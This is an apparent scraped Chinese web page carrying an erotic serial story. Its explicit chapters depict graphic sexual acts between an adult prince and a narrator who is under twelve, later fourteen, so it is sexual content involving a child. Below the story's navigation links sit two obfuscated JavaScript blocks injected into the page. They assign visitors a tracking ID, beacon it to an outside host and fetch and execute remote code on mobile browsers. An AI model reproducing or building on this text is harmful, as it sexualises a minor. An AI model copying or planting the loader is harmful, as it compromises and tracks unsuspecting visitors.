喜儿像是明白了什么似的,神秘地把食指放在唇间:“嘘……我不会告诉王爷的。”说完还对着我眨了眨眼。

然后我彻底把自己藏在了被褥里,再也不理喜儿了,任喜儿好话说尽,我就是不好意思出来硬是在床榻上呆了整整一上午,用来胡思乱想。

突然想到还有几日便是自己十二岁的生日了。

我该跟逸哥哥要什么生日礼物呢?

我甜甜地想着。

这十几年来,我一直是大门不出、二门不迈的状态,就连宫中也只是去过一两次。不论是宫中的重要庆典还是王府的庆祝活动,我向来是不许参加的,就连我的生日也一直只有爹爹、逸哥哥和府里的一些下人们陪我度过,从未对外铺张过。因为一直这样,所以无从比较,我也便习惯了这样的生活方式。

我小小的世界一直都是这样,拥有着不多的人,维护着自己小小的幸福,便已知足。

每年的生日逸哥哥都会送我礼物,我也一向知足,只要是他送的我的喜欢的要命,可是不知怎么,对今年的生日我开始有了不一样的期待……

调教篇一(高H)

“嗯……啊……哥哥……啊……”我蜷缩在哥哥的怀里,他的手正耍坏地玩弄着我的乳房,很快我的乳尖在他大么指的揉按下坚挺了起来,饱满的像颗等待采摘的果实,却也让我变得更加敏感,我甚至能从我的乳尖上感受到他手心的掌纹。

因为皇帝下旨派爹爹去了北方,于是无人照顾的我被逸哥哥接到了四王府。逸哥哥是皇子,十五岁皇上便赐了宅子但并未封爵位,因此逸哥哥的王府以他的排行定名。

今天下午逸哥哥本是说要教我临摹王羲之的《兰亭序》,书房里我乖巧地坐在逸哥哥的怀里,他宽大的右手握着我小小的右手一笔一划写着字,就在我羞涩地体味着这温馨的时刻时,他却将唇吻上了我的后颈。

“逸哥哥不要,呵呵……好痒啊……”我缩着肩,想要躲开他坏坏的吻。 他不为所动,反而一路舔着我的后颈来到了我的耳侧,低声道:“珑儿上课不认真哦,都没有认真写字。”

听见他的批评我忙认真地握紧笔杆,一笔一划地继续临摹,希望能不在意颈间作怪的舌头,但我绯红的脸庞和紊乱的心跳却早有泄露了我的紧张。

逸哥哥似乎越吻越起劲,他的手慢慢地抚摸过我的腰,伸进了我胸前侧开的衣衫内,滚烫的掌心滑过我的乳房,然后紧紧握住我的乳房,大力的揉搓起来。 我被玩弄的起了反应,已经能感觉到亵裤里湿湿的水正往下流,嘴里也情不自禁的呻吟出声:“啊……嗯……嗯……逸哥哥……你这样……我没……没办法写字了。”我的手在抖,酸软的连笔都拿不住了。

逸哥哥轻笑出声,将我的头偏转过来,深深地啃咬上我的嘴唇,辗转、捻磨、吸吮,又将肆意地将舌头伸进了我的口中,纠缠着我的舌头。我怀里的大手更加用力地揉捏起我的乳房,他甚至恶意地用虎口将我的乳尖向外拉伸,再用大么指狠狠地按压它。

感觉到疼痛的我微皱起眉毛,“嗯……”我侧转过身,用小手推着他的身体,想让他的手离开我的乳尖。

“哥哥……好疼……不要。”我惹人怜爱地撒娇着,于是逸哥哥的手又开始放得轻柔起来,像是安慰似的轻抚着我的乳尖。

可这若有似无的轻抚,却让我更难耐,无法说出的感觉让我只得拱身挤向逸哥哥的怀里,希望能得到他的更多恩宠。可是逸哥哥仿佛故意似的,不愿让我满足。

“逸哥哥……不要这样,你戏弄我!”我不愿地嘟着嘴控诉道。

“珑儿真是难伺候,用力不行,太轻又说我戏弄你,那珑儿到底要怎样的‘疼爱’呢?”逸哥哥在我的耳缘坏坏地说道,还特意加重了“疼爱”二字。 我躺在逸哥哥的怀里,无法宣泄的情感让我不住地扭动,手中的笔早已不知道扔到哪里去了。

“用力……哥哥……用力一点嘛……”我撒娇地祈求道。

“呵呵……我家的珑儿可真是个小色女。”

“我才不……”

逸哥哥再次霸道地吻上了我的唇,左手重新按在我的乳房上大力地揉搓起来,激烈的快感让我全身微微战栗。

逸哥哥像是不满足一样,右手伸进了我的亵裤中,找到了我柔嫩的花核,开始轻轻地撩拨了起来。

“恩……啊……嗯…………”我无力地随着逸哥哥的撩拨、揉捏而呻吟,早已不知今夕是何年了。

逸哥哥突然起身,将我抱起,大步走到书房里面的床榻上轻轻放下。

我的衣服被一件件拨开,我无力抵挡他带着魔力的手,只好害羞地将手臂搭在眼睛上,假装看不见他。看着我可爱的动作逸哥哥轻笑出声。

我在他的身下终于变得全身赤裸,像是刚出生的婴儿。

“好美……”逸哥哥的声音带着浓重的情欲。

“不要看……不要看……”我羞恼地起身想用手去遮他的眼睛却被他笑着拿开。

“为什么不让看?我的珑儿这么美……怎么可以不看呢”

他俯身将我压在他的身下,炽热的双眼在我的全身上下扫过,让我觉得全身都火辣辣的。

他低头含住我一边的乳尖,用唾液打湿,再用舌头轻轻地舔弄、吸吮,而他又仿佛怕厚此薄彼一样用手紧紧地握住我另一只乳房,手指邪异地欺负我另一边的乳尖。

“逸哥哥……啊…………啊……”我抱着他的头,不知道此时是该把他拉开我的胸前,还是应该把他紧紧按在胸前。

我无力的呻吟,全身的麻酥酥,软绵绵的。

逸哥哥的另一只手来到了我的身下,那里早已是一片湿润,他的手指毫不费力地就伸了进去,在我的小穴内转着圈,扩充着我的小穴。

“哥哥……疼……”我可怜的地唤出声,逸哥哥却没有放松我小穴的扩张,只是将么指按在了我的花核上一阵猛力的揉搓。

“啊……”毫无预示的我尖叫出声,快感来的是那么突然又迅猛,我全身不住战栗,小穴开始拼命的收缩,大量的精液涌出,而逸哥哥的扩张动作却仍在继续。

“啊……啊……嗯……不要……”我忍不住哭喊出声,过多的快感已经超过我这具仍未发育成熟的身体的负荷。

“宝贝,你真是太小了,我到底该拿你怎么办!”逸哥哥的语气里有深深的遗憾与无奈。

他拿出在我小穴中肆虐的手,脱掉了他的裤子,跨跪在我的身子上,开始揉搓着他胯下粗红巨大的肉棒,脸上的表情似是痛苦又似是痛快。

我全身上下一丝力气也没有了,只能无力地抬眼看着他奇怪的动作和享受的表情。

突然,大量白色的液体从他的肉棒中喷泄而出,弄得我胸前和脸上都是。 他俯身在我脸的两侧用手拄着床,双眼直直地望进我有些略显呆滞的眼中,胸口剧烈地起伏着,大口大口地喘着粗气。

那是我从没见过的眼神,平时逸哥哥的眼神总是淡淡的,有一丝优雅、一丝淡薄、一丝慵懒,而此时那炯炯有神的双眸似是要将我吸进去一般的狂野、疯狂。 他邪异地裂开嘴角,那动魄惊心的微笑让我没由来的感到胆寒。

他用手指挑起我唇边的白色液体,轻轻地涂抹到我的嘴唇上,又用我胸前的白色液体沾满手指。

“把他吃进去。”不容置喙的命令口气和邪异放肆的眼神让我只能沦为他听话的奴仆。

我张嘴含住他的手指,轻舔着他手指上略显腥味的液体,喉咙慢慢滚动,小心翼翼地咽进腹中。

看着我的动作他满意地笑了笑,俯身轻舔我的唇角。

“宝贝,你真的太小了。不过没关系,我们有的是时间……”

逸哥哥看着我,疯狂的眼神似是燃起熊熊大火。

调教篇二(高H)

是夜,四王爷府中四王爷的屋内烛光昏暗,难以抑制的呻吟与哭泣声断断续续,撩人心弦。

“宝贝,你见过自己下面的小穴吗?好可爱……”

“不……不要说……逸哥哥……不要说……”

此时的我正全身赤裸地大张着腿,下身被逸哥哥抬起,架在他的肩上,胸前的乳尖早已散发出诱人的光泽,绽放出属于欲望的美丽。被玩弄的我害羞地用双手遮住脸,根本不知道如何面对在床上犹如换了一个人一样的逸哥哥。

白天的逸哥哥对我总是淡淡的温暖,说话做事也总是一派悠闲潇洒的姿态,可晚上的逸哥哥却变得霸道无比,嘴边总是挂着邪异的笑容,说出的话也总是把我羞得恨不得找个地缝钻进去。

“为什么不让说?很美啊,我从没见过这么美的小穴,这么小,粉红色的,还有这花核,可怜地颤抖,惹人怜爱……”逸哥哥一边用手指逗弄着我的花穴一边邪异地用言语敲打着我脆弱的神经。

“不要说……不要……”我鸵鸟似地把手按在耳朵上,无助地摇晃着我的小脑袋,结果又引起了他开心的笑声。

“小宝贝,你真是可爱的紧……”说着便低下头,伸出舌头舔弄着我的阴唇。 “啊……嗯……嗯……不要……逸哥哥……”感受着他柔软的舌头在我最敏感的地方进进出出、来回逗弄,动情的蜜液开始不住地流淌出来,而逸哥哥仿佛饥渴已久似地开始大口大口的把我的蜜液带入到他的口中,我甚至能听到他喉咙吞吐的声音,这样我更加敏感,蜜液流个不停,双腿酸软无力地颤抖,似是想要躲开这磨人的爱虐似的轻扭着腰。

“哥哥……好痒……不要……”

逸哥哥不满地抬起头“难到珑儿只感觉痒吗?”说罢又低头把舌头狠狠地往我的小穴中挤。

“啊…………好舒服……”我放声尖叫,此时的我已经完全被欲望掌控,放荡地跟随自己的感觉尖叫出自己的欲望。

“你个小淫娃……睁开眼睛看着我,看我是怎么玩弄你的,看你自己到底有多淫荡!”逸哥哥突然似是生气地冷声说道。

我睁开迷茫的双眼,看着他低头在我的双腿间舔弄,看着自己的腿在颤抖,自己的腰在渴求似地扭动,听着那一声声由自己口中发出的诱人呻吟声,我无法相信这是自己。

过多的舒服和太多的迷茫让我的眼泪不禁滑落,打湿了软枕,而我却呻吟的更大声了。

“啊……啊……啊……”

那仿佛天边惊雷闪过,大脑一阵的失神让我瞬间便被欲望的潮水淹没。 我高潮了。

这是逸哥哥说的,逸哥哥说这种感觉叫做高潮……

逸哥哥张嘴接住了我涌出的所有爱液,然后放下我的双腿,覆在我的身上,低头将他舌尖的粘人液体一股脑地推进我口中,高潮中失神的我只能任他予取予求,接受他口中的液体,再缓缓地吞进小腹……

“真是敏感的小东西,这样也能让你高潮,真是欠干。”逸哥哥舔着我唇边溢出的白色液体恶狠狠地说道“怎么样,自己的味道是不是很棒?”

刚刚缓过神的我,终于找到焦距看清了眼前放大了的刚毅无比的脸,是从什么时候开始的,逸哥哥早已成了一个真正的男人了?

我只是本能的反应,却殊不知自己绯红的脸庞、迷蒙爱恋的眼神、红肿的双唇及若有所思的表情有多么诱人。

“真是个妖精!”逸哥哥似是发泄地狠狠吻住我的双唇,狠狠地啃咬,玩弄,汲取着我所有的香甜。

“唔……逸哥哥……”我的声音支离破碎,带着淡淡的沙哑,双臂却缠上了他的脖子,把他拉近我。

逸哥哥却突然放开我,翻身下地,披上衣服头也不回地夺门而出。

我睁着双眼,无神地看着屋顶,泪水无声地滑过眼睛。侧过身,拽过被,把自己紧紧地包裹起来。

为什么,为什么,我明明看得出逸哥哥对我身体的迷恋,可这么多天了,他除了不停地撩拨我、给予我,却从不索取我,我不敢想象他今晚会去哪个侍妾身边度过,为什么不是我,为什么,仅因为我还不到12岁?可是爱情是不分年龄的啊……我爱他,为他奉上自己不对吗?

第一次,我对自己的年龄深深不满,不!不只不满,几乎是深恶痛绝!幸福篇一(甜)

当温暖的阳光斜照进屋内,我揉了揉有些发涩的眼睛,却碰到了一个温暖的胸膛。

我的嘴角不禁向上翘起。

看着他一只胳膊枕在我的脖子下,另一只胳膊搂着我的腰把我紧紧的圈在他的怀里,弄得我的脸几乎挨着他的胸膛上。“真是个霸道的家伙!”我不禁心想。 我抬起小手轻轻地抚摸着他棱角分明的侧脸,我真的无法形容每天早上起床时的心情,我怪他丢下我去找他的侍妾,却爱他不管多晚都会洗干净回到我的身边,让我能在翌日一睁眼就看见他……这种甜蜜的忧愁让我难过的想哭又莫名的温暖。

“小宝贝醒了?”逸哥哥刚睡醒时的声音总是较往常低沈,那充满阳刚的磁性嗓音总是能让我想起我的爹爹──一个被称为战神的、真正的男人。

逸哥哥低下头亲了亲我的额头,双手把我紧紧抱在他的怀里,我细嫩我肌肤全部贴在了他略显粗犷的身体上,他是力量般的古铜色,而我是柔嫩纤细的嫩白,鲜明的对比却又是那边契合。

“逸哥哥……”这是我这几天养成的坏毛病,明明没有事对他说,却喜欢贴在他的胸口上,用我软软的声音叫着他的名字。

“好了小懒猫,该起床了,乖……”他轻笑了笑,又吻了吻我的额头,像哄小孩一样哄我起床。

我不满意地嘟着嘴“我又不是小孩子。”

他看着我可爱的表情,又是那种温暖的笑容:“只有小孩子才会总是否认自己是小孩子。”

看着他又变回那个白日里温文尔雅的逸哥哥,我总是有种错觉,就好像他是他,又不是他,可明明就是他……我不明白……

我疑惑地望着他,怎么……怎么差距就这么大呢?

“什么差距这么大?”逸哥哥好笑似地问我。

我这才发现自己竟然在不知不觉中把心里的话给说出来了。我羞红了脸,忙低下头。

看着我又是一副鸵鸟似的表情,逸哥哥藏在被子里的大手竟滑到了我的股缝…… “啊……”我受到惊吓似地尖叫出声,抬起头带着恐惧似地看着他。

他的手重新回到我的腰上握紧。嘴唇轻轻含住我的耳朵,又似好笑又似叹气地说道:“不是差距大,是怕吓到你。”

我的脸几乎低的可以碰到自己的胸膛了,我想现在我的耳朵一定是红的。天呀!太丢人了。

和逸哥哥吃过早餐后,逸哥哥把我交给夫子。他要进宫一趟,好像是皇帝,也就是他的父王找他有事。

我不愿地嘟着嘴,保持沉默,不理他!

“乖珑儿,我去去就回来,你要乖乖学习,回来我要考你的。”

我看着他,仍是一副我不说话,你能拿我怎么样的表情。

他无奈地笑笑。

“如果今天珑儿很乖的话,晚上我就带珑儿去逛花会。”他看着我诱惑地说道。

我的眼睛突然放光。“真的吗?逸哥哥说话要算数,我乖乖的,逸哥哥就要带我去逛花会。”

像是生怕他反悔似的,我拽着夫子一熘烟的就跑了,却听见身后传来了轻笑声……

幸福篇二(甜)

舜天王朝每年一度的荆花节总是会吸引无数的游人前来观看。当然这不仅仅是因为那些!紫嫣红的花,还有那含苞欲放的少男少女……浪漫的夜总是会发生浪漫的故事,这不是定理而是真理。

以往的这个时候也正是武陵王府中的花开得最艳的时候,我从没出去赏过花,因为爹爹说整个舜天王朝的花王府的院子里都有,我似乎从未因自己没出过门而生气失望过,似乎我的世界永远注定就只有院子那般大小……

而今夜……

“逸哥哥……你快点,你看那,好漂亮的郁金香……还有那,好美的玫瑰……”我拉着逸哥哥的手,穿梭在人来人往的花圃的小路上,像个平凡的女孩一样见到美的事物总是叽叽喳喳。

逸哥哥但笑不语,任由我拉着,偶尔会注意一下我身边的人群。

“快看、快看,那是棋盘花,棋盘花开了……”我转过身,拉着逸哥哥的手蹦蹦跳跳地对他说。

逸哥哥捏了捏我的鼻子宠溺地说道:“有那么夸张吗?王府里你什么花没见过!”

我拍掉逸哥哥作怪的手,摸了摸自己被捏得有些发红的鼻头。

“那不一样嘛!反正就是这里的花比较好看。”我向他吐了吐舌头,任性地说道。

逸哥哥不理我,只是宠溺地笑笑。

“逸哥哥,我要吃那个!”

我看着前边那个被围的水泄不通的小摊上正摆着几十样漂亮的糕点,说实话它做的样子并没有王府里的精致,可是在此时此刻却是异常能吸引我。

“过去买几样。”逸哥哥转过头对着我们身后的侍卫道。

我伸着脖子直到看着侍卫走远,才猛地拉起逸哥哥撒腿就跑。逸哥哥不明就里地被我拉进人群中,在拥挤的人群中,他顾不得问我原因,只是把我拉近他的身边,用手圈着我的腰身,避免旁人碰到我。

“小淘气,一会儿在找你算账。”逸哥哥低下头对着我,佯装生气地道。 我乖巧地躲在他怀里,感受着他温暖的胸膛,周围人头攒动的压迫感似乎对我来说无足轻重,因为我相信,在他的身边,他总是会用双手为我撑起一片蓝天。 “我就是不喜欢有人跟着我们啊!”我对着逸哥哥撒娇道。

逸哥哥生气似地用手指弹了弹我的额头,不再理我,而是抱紧我,把我带出人群。

护城河上,巨大的花船被烛光渲染出一片浓郁的艳丽感,莺声燕语隔着宽阔的海面传到岸边,到处都是奢华,到处都是欢声笑语。

站在岸边,柳树依依,我抱着逸哥哥腰躲在他的胸膛里,看着身边人来人往,这一刻我才真正觉得:我恋爱了,而这个环抱着我的人就是我的爱人。

“走,带起去放花灯。”逸哥哥拉起我的手,带我向岸边低地走去。

看着手中的花灯顺着护城河的河水越漂越远,美丽的护城河被无数花灯照耀的波光粼粼,美丽的夜也仿佛被赋予了白昼无法企及的耀眼。

“许了什么愿望?”逸哥哥从身后抱着我,在我的耳边轻轻念道。

我羞涩地底下头。这是我的秘密,我想守着这个秘密,就像守着我爱的人一样。

我回过头故意地说道:“我许愿:全天下所有的花都能为我而开!”

逸哥哥望着我的眼睛,我不自在地低下了双眸,他亲了亲我的额头。

“那么,如你所愿。”

他温柔的声音还淡淡地在我耳边萦绕,我却已经被他抱起飞身上了桥头,身影快速地向城郊掠去。

我环住他的脖子,我一直知道逸哥哥会武功,可却从不知道他会飞,躲在他怀里的我“咯咯”地笑出声,会飞的感觉真好。

当我重新回到地面时,我被眼前的美景惊呆了。

这是一片巨大的花圃,四周大片大片纯白色的花朵,微地着头,含苞待放。天空中挂满了花灯,五彩缤纷的颜色映照得花圃如梦如幻。

我环顾四周,这美的像梦一样的地方,让我深深地痴迷。

“逸哥哥,这是……”我的声音很轻,这里似乎除了我和逸哥哥外再没有其他人,寂静的美让我也生怕自己太大的声音会吓到这些娇嫩嫩的花儿。

逸哥哥从这面抱住我,他的手很自然地搭在我的腰间,他的额头低着我的额头,强迫我抬头看着他。

“这是你的愿望。”逸哥哥低沈的声音仿佛醉酒般迷人。

我不解地看着他。

他轻笑出声,然后深深地望着我的眼,那黑白分明的双眸仿佛一个黑洞将我吸了进去,我沈醉在他的眼中、他的怀里……

“小笨蛋!”逸哥哥似是无奈地叹了口气,随即又勾起嘴角轻笑道:“生日快乐!”

我睁大眼睛突然意识到明天是我十二岁的生日,不,现在已经过了子时,应该说今天是我的生日。

我不好意思地吐了吐舌头,却迎来了他落下的深沈缠绵的吻。

那一瞬间,我的余光看见了四周的花竟然在同一时刻全部挺起了它们的花筒、翘起了花朵,灿然开放……五彩的光更是让这一切似真似幻……

随着唇间的醉人慢慢渗入到我的全身,我沈醉地闭起双眼,很温暖的吻,异常缠绵。

我抱着逸哥哥的,我知道这一刻:全天下所有的花都为我而开了!

我后来曾经问过逸哥哥那是什么花,逸哥哥说那是“月下美人”,只是直到很多年后我才知道它还有一个别的名字──昙花!而昙花只有一现……

调教篇三(高H)

北方战事告急,爹爹已经整整两年没有回来了,我被皇帝封为玲珑公主,赏赐了很多金银珠宝。

逸哥哥被封了逍遥王,皇帝给了他一个清闲的官做。说真的,在这一点上我很感谢他,毕竟他没有要走我全部的亲人。

十四岁的我开始学会了发呆,我想爹爹,那个疼我、爱我、宠我的爹爹。听逸哥哥说现在全天下的百姓都在议论爹爹,他们说爹爹打了胜仗,他们说爹爹是战神转世,他们说有了爹爹舜天王朝一定会天下太平……可是这些不是我想要的,我想爹爹回来,我不要什么战神也不要什么英雄,我只要爹爹回来……

逸哥哥越发宠我了,他不愿我总是想起爹爹,他说每当我想起爹爹时那落寞的表情会让他心疼……

但是不管怎么说,我还是蛮幸福的,我每个月都会收到爹爹的信,虽然只有一两封;而我也开始用自已怎么练也还是歪歪扭扭的字给爹爹回信了;逸哥哥和我的感情还是那么好,只是除了一点我们有些不合……

是夜。

刚刚高潮后的我闭着双眼无力地平躺在床上,逸哥哥站起身给我盖好了被,低头亲吻我的额头。

“不要走。”我仍是闭着眼睛只是手却抓住了他披上的衣衫。

逸哥哥没有说话。

我睁开眼睛,跪坐起身,抱紧站在床边的逸哥哥。我能清晰地感觉到他的身体有些僵硬,下身硬梆梆地咯在我的小腹上。

我抬起头冲着他调皮地一笑,随即跪直了身体吻上了他的唇。

两年的时间让我学会了如何讨好他,知道了怎么样的吻才是他喜欢的,而怎


上一篇:淫乐武侠

下一篇:江湖淫雄传之侠女魔劫(上)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};